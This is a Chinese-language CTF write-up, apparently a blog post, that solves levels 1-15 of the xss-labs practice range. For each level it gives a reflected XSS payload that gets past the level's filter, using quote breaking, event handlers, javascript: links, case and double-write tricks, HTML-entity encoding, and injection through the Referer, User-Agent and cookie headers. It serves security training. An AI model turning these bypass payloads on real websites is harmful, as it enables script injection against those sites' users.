xss-labs 1-15

  • Post author:
  • Post category:其他



BUU XSS-LABS 1-10题

题目来源

BUUCTF

中的xss-lab

对题目没有思路的可以查看github上的

源代码


payload的构造方式有很多种,可以阅读浏览

payload



第一题

在这里插入图片描述


首先关注xss的输入点,发现在url栏中进行输入,尝试对name进行赋值,构造常规payload:name=

<script>alert(1)</script>



第二题

在这里插入图片描述


xss输入点在搜索栏中,同样试试常规payload

<script>alert(1)</script>

,发现并没有出现想要的弹窗

查看网页的源代码

<input name=keyword value="<>test">


发现函数使用input对<>进行了html实体,尝试进行闭合操作

构造payload:

"><script>alert(1)</script><"



第三题

在这里插入图片描述


这里利用了

.htmlspecialchars

这个函数会转换双引号,不转换单引号的功能

尝试构造payload:

' onclick=alert(1) '

输入后无反应,别忘了点击搜索框



第四题

在这里插入图片描述


观察代码,发现不能有<和>

尝试构造payload:

" onclick=alert(1) "

,别忘了单击



第五题

在这里插入图片描述


观察代码,需要避开他拉黑的函数,script过滤了,onclick也过滤了 使用其它的方式尝试触发


"><a href="javascript:alert(/xss/)">alert</a> <"



第六题

在这里插入图片描述


对上一关的 href 做了过滤,测了一下前五关的payload,在结合后端代码可以使用双写、大小写方式绕过:


"><a HREf="javascript:alert(/xss/)">alert</a> <"



第七题

在这里插入图片描述


发现存在str_replace函数,该函数只对字符串进行一次查找替换,可以试试重复输入


"><scrscriptipt>alert(1)</scrscriptipt>



第八题

在这里插入图片描述


程序将 script 中的 ri 变成了 r_i 所以不能使用script尝试对script进行编码将 ri 转换为 html 实体编码

所以不能使用

<script>

尝试构造payload:

javasc&#114;&#105;pt:alert(1)



第九题

在这里插入图片描述


多了个strpos函数 其作用是输入的字符串里面必须要有http://字符,加上在注释掉

尝试构造payload:

javasc&#114;&#105;pt:alert(1)//http://



第十题

在这里插入图片描述


在url上操作

<script>

,显然不行,发现有三个input对三个变量赋值 发现只有 t_sort 接受参数值 说明了只有 t_sort 的过滤有效果


" onclick=alert(1) type="text" ><


说明了只有 t_sort 的过滤有效果


" onclick=alert(1) type="text" ><



第十一题

在这里插入图片描述

*观察代码,发现又是只有

t_sort

可用,又是第十题?,输入payload失败,发现了双引号被转义

一.尝试在针对t_ref中的请求包refer字段下手.了解什么是

refer



使用burp在HTTP头中加入Referer: test” type=“text” οnclick=”alert(1),这样就可以发送HTTP_REFERER。

**



第十二题

在这里插入图片描述

*查看题目的源代码,发现十二题和十一题有很多相似之处,说明解题的方法相似 发现http请求头的User-Agent,于是尝试修改User-Agent的值来拼接代码,通过burpsuite的抓包功能实现,

输入

" type="text" onmousemove="alert(1)

然后在放包



第十三题

在这里插入图片描述


这题的解法和上面两题异曲同工,观察源代码,发现这道题的突破点在于cookie。burp suite抓包,修改cookie值即可。


" type="text" onmousemove="alert(1)



第十四题


靶场似乎出错了。暂且不谈



第十五题

在这里插入图片描述

观察代码,此题运用

ng-include

指令,可以先了解一下,指令用于包含外部的 HTML 文件。我们包含第一关的漏洞即可,

http://127.0.0.1/xss-labs-master/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'



版权声明:本文为m0_65977612原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。